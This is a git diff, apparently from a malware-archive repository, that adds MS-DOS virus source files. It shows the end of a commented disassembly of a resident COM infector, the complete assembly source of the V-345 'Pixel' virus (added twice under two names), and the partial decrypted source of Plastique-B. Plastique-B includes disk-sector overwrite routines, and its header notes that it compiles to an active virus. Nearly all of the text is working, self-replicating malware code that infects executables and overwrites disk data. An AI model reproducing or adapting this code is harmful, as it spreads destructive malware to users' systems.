2E CS: +01C5 FF364501 PUSH [0145] ; 01CA +01C9 C3 RET + +01CA 3D15CA CMP AX,CA15 ; virus call? +01CD 7519 JNZ 01E8 ; no + +01CF 2E CS: +01D0 3B1E1901 CMP BX,[0119] ; disable request? +01D4 7608 JBE 01DE ; no + +; disable resident part of virus + +01D6 2E CS: +01D7 C70645010C02 MOV WORD PTR [0145],020C +01DD CF IRET + +; return to infected file, first copy oryginal 529 bytes from the end of the +; file to the begining (registers should be prepared by caller) + +01DE F3 REPZ +01DF A4 MOVSB + +01E0 58 POP AX +01E1 B80001 MOV AX,0100 ; new start adress +01E4 50 PUSH AX +01E5 33C0 XOR AX,AX +01E7 CF IRET + +; is it Load & Execute request? + +01E8 3D004B CMP AX,4B00 ; Load & Execute +01EB 751F JNZ 020C ; no, jump to oryginal INT 21h + +; check the name of loaded file (is it COM or not) + +01ED 06 PUSH ES +01EE 1E PUSH DS +01EF 07 POP ES +01F0 8BFA MOV DI,DX ; name of loaded file +01F2 B9FFFF MOV CX,FFFF ; length of searched block +01F5 F2 REPNZ +01F6 AE SCASB ; AL = 0; +01F7 26 ES: +01F8 8A45FE MOV AL,[DI-02] ; last letter of extension of name +01FB 0C20 OR AL,20 ; convert to lower letter +01FD 3C6D CMP AL,6D ; 'm' (is it COM?) +01FF 07 POP ES +0200 7505 JNZ 0207 ; no + +0202 E80C00 CALL 0211 ; infect loaded file + +0205 EB03 JMP 020A + +0207 E8F100 CALL 02FB ; CS:02FB RET + +020A 32C0 XOR AL,AL + +020C 2E CS: +020D FF2EFD02 JMP FAR [02FD] ; oryginal INT 21h + +;--------------------------- +; Infection of the new file + +0211 06 PUSH ES +0212 50 PUSH AX +0213 53 PUSH BX +0214 1E PUSH DS +0215 52 PUSH DX +0216 8BEC MOV BP,SP + +0218 0E PUSH CS +0219 1F POP DS + +021A B82435 MOV AX,3524 ; get INT 24h +021D CD21 INT 21 + +021F 8C060303 MOV [0303],ES +0223 891E0103 MOV [0301],BX + +0227 BAF802 MOV DX,02F8 ; offset of virus INT 24h handler +022A B82425 MOV AX,2524 ; set interrupt vector 24h +022D CD21 INT 21 + +022F 1E PUSH DS +0230 8B5600 MOV DX,[BP+00] ; adress of loaded file name +0233 8E5E02 MOV DS,[BP+02] +0236 B80043 MOV AX,4300 ; get file attributes +0239 CD21 INT 21 + +023B 7250 JB 028D ; problems + +023D 2E CS: +023E 890E0B03 MOV [030B],CX ; store current file attributes +0242 B80143 MOV AX,4301 ; set file attributes +0245 33C9 XOR CX,CX ; clear all attributes +0247 CD21 INT 21 + +0249 7242 JB 028D ; problems + +024B B8023D MOV AX,3D02 ; open file for read\write +024E CD21 INT 21 + +0250 7274 JB 02C6 ; problems + +0252 1F POP DS +0253 8BD8 MOV BX,AX +0255 B80057 MOV AX,5700 ; get file date +0258 CD21 INT 21 + +025A 726A JB 02C6 ; problems + +025C 890E0703 MOV [0307],CX ; store time +0260 89160903 MOV [0309],DX ; store date + +0264 8B160503 MOV DX,[0305] ; offset of buffer +0268 8B0E1D01 MOV CX,[011D] ; number of bytes to read (full virus) +026C B43F MOV AH,3F ; read from file +026E CD21 INT 21 + +0270 7254 JB 02C6 ; problems + +0272 3BC1 CMP AX,CX ; check for I/O problems +0274 7550 JNZ 02C6 ; problems + +; compare first 19h bytes (25) to check is file alredy infected + +0276 0E PUSH CS +0277 07 POP ES +0278 BF0001 MOV DI,0100 +027B 8BF2 MOV SI,DX +027D B91900 MOV CX,0019 +0280 F3 REPZ +0281 A6 CMPSB +0282 7442 JZ 02C6 ; file infected + +0284 B80242 MOV AX,4202 ; move file pointer +0287 33C9 XOR CX,CX ; to the end of file +0289 8BD1 MOV DX,CX ; CX:DX = 0 +028B CD21 INT 21 + +028D 7237 JB 02C6 ; problems + +028F 0BD2 OR DX,DX ; file over 64 Kb +0291 7533 JNZ 02C6 ; problems + +0293 050001 ADD AX,0100 +0296 A31B01 MOV [011B],AX +0299 3D00F0 CMP AX,F000 +029C 7728 JA 02C6 ; file to big + +029E 3DD007 CMP AX,07D0 ; file to small +02A1 7223 JB 02C6 ; problems + +02A3 8B0E1D01 MOV CX,[011D] ; number of bytes +02A7 8B160503 MOV DX,[0305] ; offset of disk I/O buffer +02AB B440 MOV AH,40 ; write to file +02AD CD21 INT 21 + +02AF 7215 JB 02C6 ; problems + +02B1 B80042 MOV AX,4200 ; move file pointer +02B4 33D2 XOR DX,DX ; to the beginning of file +02B6 8BCA MOV CX,DX ; CX:DX = 0 +02B8 CD21 INT 21 + +02BA 720A JB 02C6 ; problems + +02BC FEC6 INC DH +02BE 8B0E1D01 MOV CX,[011D] ; number of bytes +02C2 B440 MOV AH,40 ; write to file +02C4 CD21 INT 21 + +;---------------------------------- +; exit if any troubles or when done + +02C6 B80157 MOV AX,5701 ; set file time and date +02C9 8B0E0703 MOV CX,[0307] ; recall time +02CD 8B160903 MOV DX,[0309] ; recall data +02D1 CD21 INT 21 + +02D3 B43E MOV AH,3E ; Close file (BX = handle) +02D5 CD21 INT 21 + +02D7 B80143 MOV AX,4301 ; set file attributes +02DA 8B0E0B03 MOV CX,[030B] ; recall attributes +02DE 8E5E02 MOV DS,[BP+02] ; segment of file name (ASCIIZ) +02E1 8B5600 MOV DX,[BP+00] ; offset of file name (ASCIIZ) +02E4 CD21 INT 21 + +02E6 2E CS: +02E7 C5160103 LDS DX,[0301] +02EB B82425 MOV AX,2524 ; restore INT 24h +02EE CD21 INT 21 + +02F0 8BE5 MOV SP,BP +02F2 5A POP DX +02F3 1F POP DS +02F4 5B POP BX +02F5 58 POP AX +02F6 07 POP ES +02F7 C3 RET + +;---------------------------------- +; INT 24h handler during infection + +02F8 B003 MOV AL,03 +02FA CF IRET + +02FB C3 RET + +02FC C3 RET + +;-------------- +; date holder + +02FD 5C 06 FD 18 ; old INT 21h holder +0301 56 05 9D 10 ; old INT 24h holder +0305 25 03 ; offset of disk I/O buffer +0307 36 00 ; file time +0309 21 00 ; file date +030B 20 00 ; file attributes +030D 36 06 ; SP holder +030F 64 00 ; segment-paragraph just beyond the end of resident part + +0325 ; I/O bufer + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pixel.asm b/MSDOS/Virus.MSDOS.Unknown.pixel.asm new file mode 100644 index 00000000..a7067cd2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pixel.asm @@ -0,0 +1,134 @@ + page ,132 + name V345 + title V-345 - a mutation of the V-845 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen = offset endcode - offset start +newid = offset ident - offset start + +start: + jmp short virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +progbeg dd ? +eof dw ? +newdta db 2C dup (?) +fname equ offset newdta+1E + +virus: + push ax + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,offset newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov bx,ax ; Save handle + push es + pop ds + mov dx,virlen + mov cx,0FFFF ;Read all bytes (64K max in .COM file) + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,virlen + mov cs:[eof],ax ;Save pointer to the end of file + cmp ds:[newid+virlen],'VI' ;Infected? + je close ;Go find next file if so + + xor cx,cx ;Go to file beginning + mov dx,cx + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + xor dx,dx ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov ah,40 ;Write to handle + int 21 + +close: + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr [timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,offset endcode - offset transf ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + pop bx ; BX = old AX + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,offset endcode + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + mov ax,bx + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pixel345.asm b/MSDOS/Virus.MSDOS.Unknown.pixel345.asm new file mode 100644 index 00000000..a7067cd2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pixel345.asm @@ -0,0 +1,134 @@ + page ,132 + name V345 + title V-345 - a mutation of the V-845 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen = offset endcode - offset start +newid = offset ident - offset start + +start: + jmp short virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +progbeg dd ? +eof dw ? +newdta db 2C dup (?) +fname equ offset newdta+1E + +virus: + push ax + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,offset newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov bx,ax ; Save handle + push es + pop ds + mov dx,virlen + mov cx,0FFFF ;Read all bytes (64K max in .COM file) + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,virlen + mov cs:[eof],ax ;Save pointer to the end of file + cmp ds:[newid+virlen],'VI' ;Infected? + je close ;Go find next file if so + + xor cx,cx ;Go to file beginning + mov dx,cx + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + xor dx,dx ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov ah,40 ;Write to handle + int 21 + +close: + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr [timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,offset endcode - offset transf ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + pop bx ; BX = old AX + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,offset endcode + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + mov ax,bx + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.plastiq.asm b/MSDOS/Virus.MSDOS.Unknown.plastiq.asm new file mode 100644 index 00000000..555dded1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.plastiq.asm @@ -0,0 +1,1187 @@ +PAGE 59,132 + +;========================================================================== +; Plastique-B virus Decrypted source code +; Brought to you by Minuite man +; +; DANGER! Not for public distribution +; This source code can be compiled to +; Active virus.Always handle viruses +; Carefully. +;========================================================================== + +data_1e equ 3FCh ; (0000:03FC=0F000h) +data_2e equ 3FEh ; (0000:03FE=16h) +data_3e equ 3 ; (3E00:0003=0FFFFh) +data_4e equ 5 ; (3E00:0005=0FFh) +data_5e equ 18h ; (3E00:0018=0FFFFh) +data_6e equ 1Ah ; (3E00:001A=0FFFFh) +data_7e equ 1Ch ; (3E00:001C=0FFFFh) +data_8e equ 1Eh ; (3E00:001E=0FFFFh) +data_9e equ 20h ; (3E00:0020=0FFFFh) +data_10e equ 22h ; (3E00:0022=0FFFFh) +data_11e equ 48h ; (3E00:0048=0FFFFh) +data_12e equ 4Ah ; (3E00:004A=0FFFFh) +data_13e equ 4Eh ; (3E00:004E=0FFFFh) +data_14e equ 54h ; (3E00:0054=0FFFFh) +data_15e equ 56h ; (3E00:0056=0FFFFh) +data_16e equ 58h ; (3E00:0058=0FFFFh) +data_17e equ 5Ah ; (3E00:005A=0FFFFh) +data_18e equ 5Ch ; (3E00:005C=0FFFFh) +data_19e equ 6Ah ; (3E00:006A=0FFh) +data_20e equ 86h ; (3E00:0086=0FFFFh) +data_21e equ 88h ; (3E00:0088=0FFFFh) +data_22e equ 2A6h ; (3E00:02A6=0FFh) +data_23e equ 3 ; (6C23:0003=0) +data_24e equ 5 ; (6C23:0005=0) +data_25e equ 6 ; (6C23:0006=0) +data_27e equ 0Ah ; (6C23:000A=0) +data_29e equ 14h ; (6C23:0014=0) +data_30e equ 16h ; (6C23:0016=0) +data_31e equ 24h ; (6C23:0024=0) +data_32e equ 26h ; (6C23:0026=0) +data_33e equ 28h ; (6C23:0028=0) +data_34e equ 2Ah ; (6C23:002A=0) +data_35e equ 2Ch ; (6C23:002C=0) +data_36e equ 2Eh ; (6C23:002E=0) +data_37e equ 30h ; (6C23:0030=0) +data_38e equ 32h ; (6C23:0032=0) +data_39e equ 34h ; (6C23:0034=0) +data_41e equ 38h ; (6C23:0038=0) +data_42e equ 3Ch ; (6C23:003C=0) +data_43e equ 3Eh ; (6C23:003E=0) +data_44e equ 42h ; (6C23:0042=0) +data_45e equ 44h ; (6C23:0044=0) +data_46e equ 45h ; (6C23:0045=0) +data_47e equ 62h ; (6C23:0062=0) +data_48e equ 64h ; (6C23:0064=0) +data_49e equ 66h ; (6C23:0066=0) +data_50e equ 68h ; (6C23:0068=0) +data_51e equ 69h ; (6C23:0069=0) +data_52e equ 6Ah ; (6C23:006A=0) +data_68e equ 160Ah ; (6C23:160A=0) +data_69e equ 690Ah ; (6C23:690A=0) +data_70e equ 0FA0Ah ; (6C23:FA0A=0) + +seg_a segment + assume cs:seg_a, ds:seg_a + + + org 100h + +test proc far + +start: + jmp loc_61 ; (09D3) + db 0CCh, 1, 0C7h, 24h, 1, 9 + db 0Dh, 92h, 25h, 70h, 0, 0 + db 0, 0, 0, 89h, 19h, 0 + db 1, 53h, 13h, 0, 0, 7Eh + db 82h, 0, 0, 7Eh, 82h + db 50h +data_53 db 2 +data_54 dw 0 +data_55 dw 4269h ; Data table (indexed access) + db 1Fh, 8Bh, 5, 0, 20h, 0 + db 21h, 0, 80h, 0, 0E6h, 77h + db 18h, 0, 0AAh, 0, 9, 0Dh + db 60h, 14h, 1Eh, 2, 56h, 5 + db 6, 6Fh, 73h, 12h, 0, 0F0h + db 16h, 0, 4Dh, 5Ah, 14h, 0 + db 8, 0, 0, 0, 20h, 0 + db 0, 0, 0FFh, 0FFh, 5, 0 + db 0C4h, 0Bh, 89h, 19h, 0, 9 + db 5, 0, 1Eh, 0, 90h, 90h + db 1, 0, 70h, 45h, 75h, 42h + db 0, 0, 0 + db 'ACAD.EXECOMMAND.COM.COM.EXE' + db 10h, 0, 0, 2, 0, 0 + db 80h, 0, 0B4h, 0D5h, 5Ch, 0 + db 0B4h, 0D5h, 6Ch, 0, 0B4h, 0D5h + db 'Program: Plastique' +loc_2: + and [si],dh + db '.51 (plastic bomb), ' +copyright db 'Copyright (C) 1988, 1989 by ABT ' + db 'Group.Thanks to: M' + db 'r. Lin (IECS 762??), Mr. Cheng (' + db 'FCU Inf-Center)' + db 1, 0, 0 +data_58 db 0E3h ; Data table (indexed access) + db 8, 0, 0, 0EBh, 7, 91h + db 0Ah, 91h, 0Ah, 0BEh, 11h, 0 + db 0, 0D0h, 0Fh, 21h, 15h, 21h + db 15h, 0DCh, 0Bh, 0, 0, 91h + db 0Ah, 16h, 0Eh, 16h, 0Eh, 0B7h + db 17h, 0, 0, 21h, 15h, 2Ch + db 1Ch, 2Ch, 1Ch, 91h, 0Ah, 16h + db 0Eh, 33h, 0Bh, 33h, 0Bh, 91h + db 0Ah, 0FAh, 9, 0FAh, 9, 91h + db 0Ah, 33h, 0Bh, 33h, 0Bh, 91h + db 0Ah, 16h, 0Eh, 16h, 0Eh, 0 + db 0, 16h, 0Eh, 0D0h, 0Fh, 0BEh + db 11h, 0, 0, 0E3h, 8, 0 + db 0, 0EBh, 7, 91h, 0Ah, 91h + db 0Ah, 0BEh, 11h, 0, 0, 0D0h + db 0Fh, 21h, 15h, 21h, 15h, 0DCh + db 0Bh, 0, 0, 91h, 0Ah, 16h + db 0Eh, 16h, 0Eh, 0B7h, 17h, 0 + db 0, 21h, 15h, 2Ch, 1Ch, 2Ch + db 1Ch, 91h, 0Ah, 16h, 0Eh, 33h + db 0Bh, 33h, 0Bh, 91h, 0Ah, 0FAh + db 9 +data_59 dw 9FAh +data_60 db 91h +data_61 db 0Ah +data_62 dw 0B33h +data_63 db 33h + +test endp + +;========================================================================== +; +; External Entry Point +; +;========================================================================== + +int_24h_entry proc far + or dx,ds:data_68e[bx+di] ; (6C23:160A=0) + push cs + push ss + push cs + add [bx+si],al + push ss + push cs + ror byte ptr [bx],1 ; Rotate + mov si,11h + add ds:data_69e[bx+di],dl ; (6C23:690A=0) + or bx,sp + or bl,ch + pop es + jmp short $+9 + db 91h, 0Ah, 0, 0, 0FAh, 9 + db 0FAh, 9, 64h, 8, 64h, 8 +int_24h_entry endp + + +;========================================================================== +; +; External Entry Point +; +;========================================================================== + +int_08h_entry proc far + push cs + pop es + add [bx+si],al + xchg ax,cx + or dl,ds:data_70e[bx+di] ; (6C23:FA0A=0) + or dx,di + or [bp+si+0Dh],dx + add [bx+si],al + xor cx,[bp+di] + add [bx+si],al + push ss + push cs + add [bx+si],al +;* jmp short loc_4 ;*(02F3) + db 0EBh, 7 + db 0EBh, 7, 91h, 0Ah, 0, 0 + db 33h +loc_4: + or si,[bp+di] + or bp,[bx+di+9] + db 69h, 9, 0EBh, 7, 0EBh, 7 + db 0, 0, 0E3h, 8, 0, 0 + db 0EBh, 7, 91h, 0Ah, 91h, 0Ah + db 0BEh, 11h, 0, 0, 0D0h, 0Fh + db 21h, 15h, 21h, 15h, 0DCh, 0Bh + db 0, 0, 0F2h, 0Eh, 0D0h, 0Fh + db 0, 0, 0BEh, 11h, 21h, 15h + db 0, 0, 3, 2, 3, 3 + db 0Dh, 3, 2, 3, 3, 0Dh + db 3, 2, 3, 3, 0Dh, 3 + db 2, 3, 3, 0Dh, 7, 3 + db 3, 7, 3, 3, 7, 3 + db 3, 7, 3, 14h, 2, 1 + db 1, 1, 3, 8, 3, 2 + db 3, 3, 0Dh, 3, 2, 3 + db 3, 0Dh, 3, 2, 3, 3 + db 0Dh, 3, 2, 3, 3 +int_08h_entry endp + + +;========================================================================== +; +; External Entry Point +; +;========================================================================== + +int_09h_entry proc far + or ax,307h + add ax,[bx] + add ax,[bp+di] + pop es + add ax,[bp+di] + pop es + add dx,[si] + add al,[bx+di] + add [bx+di],ax + add ax,[bp+di] + add [bx+di],ax + add [di],cx + pop es + push es + add [di],cx + or ax,70Dh + push es + add [di],cx + or ax,70Dh + push es + add [si],cx + add cl,[si] + add cl,[di] + pop es + push es + add [di],cx + or ax,0D0Dh + or ax,0D0Dh + add ax,[bp+di] + add ax,[bp+di] + or ax,303h + add ax,[bp+di] + or ax,106h + add ax,[bp+di] + add ax,[bp+di] + add ax,[bx+di] + db 7 dup (0) + db 32h, 0C0h, 0CFh, 9Ch, 50h, 2Eh + db 0A1h, 64h, 0, 2Eh, 39h, 6 + db 3, 0, 58h, 77h, 5, 2Eh + db 0FFh, 6, 3, 0, 51h, 2Eh + db 8Bh, 0Eh, 3, 0 + +locloop_5: + nop + loop locloop_5 ; Loop if cx > 0 + + int 3 ; Debug breakpoint + pop cx + popf ; Pop flags + jmp dword ptr cs:data_39e ; (6C23:0034=0) + db 9Ch, 0CCh, 2Eh, 0FFh, 6, 3 + db 0, 2Eh, 81h, 3Eh, 3, 0 + db 88h, 13h, 77h, 6, 9Dh, 2Eh + db 0FFh, 2Eh, 34h, 0, 1Eh, 50h + db 53h, 0Eh, 1Fh, 8Bh, 1Eh, 22h + db 1, 0FEh, 0Eh, 21h, 1, 75h + db 5Dh, 8Bh, 1Eh, 22h, 1, 0FFh + db 6, 22h, 1, 81h, 0FBh, 80h + db 0, 75h, 3, 0EBh, 36h, 90h +loc_6: + mov al,data_58[bx] ; (6C23:0224=0E3h) + mov data_53,al ; (6C23:0121=2) + shl bx,1 ; Shift w/zeros fill + mov ax,data_55[bx] ; (6C23:0124=4269h) + cmp ax,0 + je loc_7 ; Jump if equal + jmp short loc_8 ; (0426) + db 90h +loc_7: + in al,61h ; port 61h, 8255 port B, read + and al,0FEh + out 61h,al ; port 61h, 8255 B - spkr, etc + jmp short loc_10 ; (0454) + db 90h +loc_8: + mov bx,ax + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode + mov ax,bx + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + in al,61h ; port 61h, 8255 port B, read + or al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + jmp short loc_10 ; (0454) + db 90h +loc_9: + in al,61h ; port 61h, 8255 port B, read + and al,0FEh + out 61h,al ; port 61h, 8255 B - spkr, etc + mov data_54,0 ; (6C23:0122=0) + mov data_53,1 ; (6C23:0121=2) + mov word ptr ds:data_23e,1 ; (6C23:0003=0) +loc_10: + pop bx + pop ax + pop ds + popf ; Pop flags + jmp dword ptr cs:data_39e ; (6C23:0034=0) + db 0FAh, 50h, 1Eh, 33h, 0C0h, 8Eh + db 0D8h, 0A0h, 17h, 4, 1Fh, 24h + db 0Ch, 3Ch, 0Ch, 75h, 2Eh, 0E4h + db '`$' + db 7Fh, ' 0 + +loc_17: + nop + jmp short loc_17 ; (052A) + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_1 proc near + mov data_61,dl ; (6C23:02A7=0Ah) + mov ax,201h + mov cx,1 + mov dh,0 + mov bx,511h + int 13h ; Disk dl=drive #: ah=func a2h + ; read sectors to memory es:bx + jc loc_ret_18 ; Jump if carry Set + mov si,18h + mov cx,data_65[si] ; (6C23:0511=0A7h) + mov data_60,cl ; (6C23:02A6=91h) + mov si,13h + mov ax,data_65[si] ; (6C23:0511=0A7h) + xor dx,dx ; Zero register + div cx ; ax,dx rem=dx:ax/reg + mov si,1Ah + mov cx,data_65[si] ; (6C23:0511=0A7h) + xor dx,dx ; Zero register + div cx ; ax,dx rem=dx:ax/reg + mov data_59,ax ; (6C23:02A4=9FAh) + mov dl,data_61 ; (6C23:02A7=0Ah) + mov dh,0 + mov cx,1 + cmp cx,0 + +loc_ret_18: + retn +sub_1 endp + + db 0B4h, 8, 88h, 16h, 0A7h, 2 + db 0CDh, 13h, 72h, 22h, 88h, 36h + db 0AAh, 2, 8Ah, 0C5h, 8Ah, 0E1h + db 80h, 0E1h, 3Fh, 88h, 0Eh, 0A6h + db 2, 0B1h, 6, 0D2h, 0ECh, 0A3h + db 0A4h, 2, 8Ah, 16h, 0A7h, 2 + db 0B6h, 0, 0B9h, 1, 0, 83h + db 0F9h, 0 + +loc_ret_19: + retn + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_2 proc near + mov bx,98h +loc_20: + mov al,data_60 ; (6C23:02A6=91h) + mov ah,3 + int 13h ; Disk dl=drive #: ah=func a3h + ; write sectors from mem es:bx + jnc loc_21 ; Jump if carry=0 + and ah,0C3h + jnz loc_ret_22 ; Jump if not zero +loc_21: + inc ch + cmp ch,byte ptr data_59 ; (6C23:02A4=0FAh) + je loc_ret_22 ; Jump if equal + jmp short loc_20 ; (05A1) + +loc_ret_22: + retn +sub_2 endp + + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_3 proc near + mov bx,98h + mov data_62,0 ; (6C23:02A8=0B33h) +loc_23: + mov al,data_60 ; (6C23:02A6=91h) + mov ah,3 + int 13h ; Disk dl=drive #: ah=func a3h + ; write sectors from mem es:bx + inc dh + cmp dh,data_63 ; (6C23:02AA=33h) + ja loc_24 ; Jump if above + jmp short loc_23 ; (05C3) +loc_24: + inc data_62 ; (6C23:02A8=0B33h) + mov dh,0 + mov ax,data_62 ; (6C23:02A8=0B33h) + cmp ax,data_59 ; (6C23:02A4=9FAh) + ja loc_ret_25 ; Jump if above + or al,1 + add ch,al + jnc loc_23 ; Jump if carry=0 + add cl,40h ; '@' + jmp short loc_23 ; (05C3) + +loc_ret_25: + retn +sub_3 endp + + db 52h, 80h, 0FCh, 3, 75h, 12h + db 2Eh, 0C7h, 6, 0Eh, 0, 0 + db 0, 2Eh, 80h, 3Eh, 6Ah, 0 + db 1, 75h, 3, 0BAh, 0FFh, 0FFh + db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0 + db 5Ah, 0CAh, 2, 0, 9Ch, 3Dh + db 40h, 4Bh, 75h, 5, 0B8h, 78h + db 56h, 9Dh, 0CFh, 3Dh, 41h, 4Bh + db 74h, 1Eh, 3Dh, 0, 4Bh, 75h + db 3, 0EBh, 34h, 90h +loc_26: + cmp ax,3D00h + jne loc_27 ; Jump if not equal + cmp byte ptr cs:data_50e,1 ; (6C23:0068=0) + je loc_27 ; Jump if equal + jmp short loc_29 ; (065C) + db 90h +loc_27: + popf ; Pop flags + jmp dword ptr cs:data_41e ; (6C23:0038=0) +loc_28: + pop ax + pop ax + mov ax,100h + mov cs:data_29e,ax ; (6C23:0014=0) + pop ax + mov cs:data_30e,ax ; (6C23:0016=0) + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + popf ; Pop flags + call sub_5 ; (09C8) + mov cx,ds:data_38e ; (6C23:0032=0) + jmp dword ptr cs:data_29e ; (6C23:0014=0) +loc_29: + mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0) + mov word ptr cs:data_47e,0 ; (6C23:0062=0) + mov cs:data_31e,dx ; (6C23:0024=0) + mov cs:data_32e,ds ; (6C23:0026=0) + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + cld ; Clear direction + mov si,dx +loc_30: + mov al,[si] + or al,al ; Zero ? + jz loc_32 ; Jump if zero + cmp al,61h ; 'a' + jb loc_31 ; Jump if below + cmp al,7Ah ; 'z' + ja loc_31 ; Jump if above + sub byte ptr [si],20h ; ' ' +loc_31: + inc si + jmp short loc_30 ; (067F) +loc_32: + mov cs:data_49e,si ; (6C23:0066=0) + mov ax,si + push cs + pop es + mov cx,0Bh + sub si,cx + mov di,73h + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_33 ; Jump if not zero + jmp loc_59 ; (0997) +loc_33: + mov si,ax + mov cx,8 + sub si,cx + mov di,6Bh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_34 ; Jump if not zero + mov ax,41Dh + push ax + jmp loc_13 ; (04E2) +loc_34: + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + jc loc_35 ; Jump if carry Set + mov cs:data_34e,cx ; (6C23:002A=0) +loc_35: + jc loc_41 ; Jump if carry Set + xor al,al ; Zero register + mov cs:data_46e,al ; (6C23:0045=0) + mov si,cs:data_49e ; (6C23:0066=0) + mov cx,4 + sub si,cx + mov di,7Eh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_36 ; Jump if zero + inc byte ptr cs:data_46e ; (6C23:0045=0) + mov si,cs:data_49e ; (6C23:0066=0) + mov cx,4 + sub si,cx + mov di,82h + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_36 ; Jump if zero + add cx,0FFFFh + jmp short loc_41 ; (073F) + db 90h +loc_36: + mov di,dx + xor dl,dl ; Zero register + cmp byte ptr [di+1],3Ah ; ':' + jne loc_37 ; Jump if not equal + mov dl,[di] + and dl,1Fh +loc_37: + mov ah,36h ; '6' + int 21h ; DOS Services ah=function 36h + ; get free space, drive dl,1=a: + cmp ax,0FFFFh + jne loc_39 ; Jump if not equal +loc_38: + jmp loc_59 ; (0997) +loc_39: + mul bx ; dx:ax = reg * ax + mul cx ; dx:ax = reg * ax + or dx,dx ; Zero ? + jnz loc_40 ; Jump if not zero + cmp ax,0BC4h + jb loc_38 ; Jump if below +loc_40: + mov dx,cs:data_31e ; (6C23:0024=0) + mov ax,3D00h + mov byte ptr cs:data_50e,1 ; (6C23:0068=0) + int 21h ; DOS Services ah=function 3Dh + ; open file, 